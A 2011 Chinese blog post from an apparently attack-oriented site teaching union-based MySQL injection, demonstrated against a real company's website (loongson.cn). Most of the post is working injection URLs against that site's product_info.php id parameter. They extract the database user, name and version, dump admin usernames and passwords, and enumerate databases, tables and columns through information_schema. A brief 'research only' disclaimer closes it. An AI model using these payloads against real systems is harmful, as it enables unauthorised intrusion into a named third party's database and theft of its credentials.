php+MySql高级注入中国龙芯cpu公司网站

分类:安全 | 2011-08-22 | 撸过 65 次
0人扯谈

注入点,注入点猜解字段数目,这些我就不介绍了。注入的时候from猜不出表段名来,可以看这里:http://bbs.blackbap.org/viewthread.php?tid=1215

如果知道了表段名出不来字段名,可以看这里:
http://bbs.blackbap.org/viewthread.php?tid=1220
除了这两种,本文再介绍两种MySql的高级注入语句。
先说一个最简单的concat:
看这里http://www.loongson.cn/product_info.php?id=33+and+1=2+union+select+1,concat(0x757365723A,user(),0x5c,0x64617461626173653A,database(),0x5c,0x64617461626173652076657273696F6E3A,version()),3,4,5,concat(username,0x5c,password)+from+admin
先看2号显示位,concat(database(),0x5c,user(),0x5c,version())
当我们查询很多个东西的时候,我们就可以用到concat,通常用在显示位只有一个的情况,如果直接把显示位上放上要查询的东西,一次只能查询一个,这样很麻烦,所以这个concat就有了用武之地,把几个东西联合起来。不管你查询语句是什么,都可以用concat套进去,简单的理解可以看成一种等级关系?反正理解不了的话可以这么看,hex()的括号可以括所有的东西,concat()的括号可以括别的东西。
不过concat有个缺陷就是联合起来查的东西都是不被分割的,也就是连成一片的,我们需要用特定标识来分开,例如0x5f、0x5c、0xff等等

然后是注入列清单的语句(注意from后面的语句),先是列数据库的语句
http://www.loongson.cn/product_info.php?id=33+and+1=0+union+select+1,concat(0x757365723A,user(),0x5c,0x64617461626173653A,database(),0x5c,0x64617461626173652076657273696F6E3A,version()),3,4,5,concat(0x616C6C207461626C65733A,GROUP_CONCAT(DISTINCT+table_schema))+from+information_schema.columns
这个看起来比较复杂,其实主要是看后面6号显示位。
concat(0x616C6C207461626C65733A,GROUP_CONCAT(DISTINCT+table_schema))
先把前面的concat给剥掉再看:0x616C6C207461626C65733A,GROUP_CONCAT(DISTINCT+table_schema)
前面的0x616C6C207461626C65733A在上面显示的就是文本“all tables:”,而后面就是GROUP_CONCAT应用。
实际查询语句就是:select GROUP_CONCAT(DISTINCT table_schema)) from information_schema.columns
就是这样,死记硬背就可以了,以后用来一次性列出所有的数据库的名称。

然后下面就是列出某个数据库里的所有的表段的名称。
http://www.loongson.cn/product_info.php?id=33+and+1=2+union+select+1,2,3,4,5,GROUP_CONCAT(DISTINCT+table_name)+from+information_schema.columns+where+table_schema=0x64625F6368696E615F717562616E5F636E
跟上面类似,我就不分析了,只不过最后面的0x64625F6368696E615F717562616E5F636E这个是数据库的名称的hex值,如果查询的是当前库,就不用找东西加密了,直接hex(database())显示出来的就是加密过的了,前面加个0x就可以直接用了。

然后是列出某个表段里的所有字段名称。
http://www.loongson.cn/product_info.php?id=33+and+1=2+union+select+1,2,3,4,5,GROUP_CONCAT(DISTINCT+column_name)+from+information_schema.columns+where+table_name=0x61646D696E
这个也不解释了,where+table_name=0x61646D696E表的名字是admin,0x61646D696E是admin的hex编码

(以上内容仅供作为研究,用于非法用途所造成的法律责任由其本人负责!)

本站内容均为原创,转载请务必保留署名与链接!
php+MySql高级注入中国龙芯cpu公司网站:https://www.webshell.cc/775.html
标签:

相关日志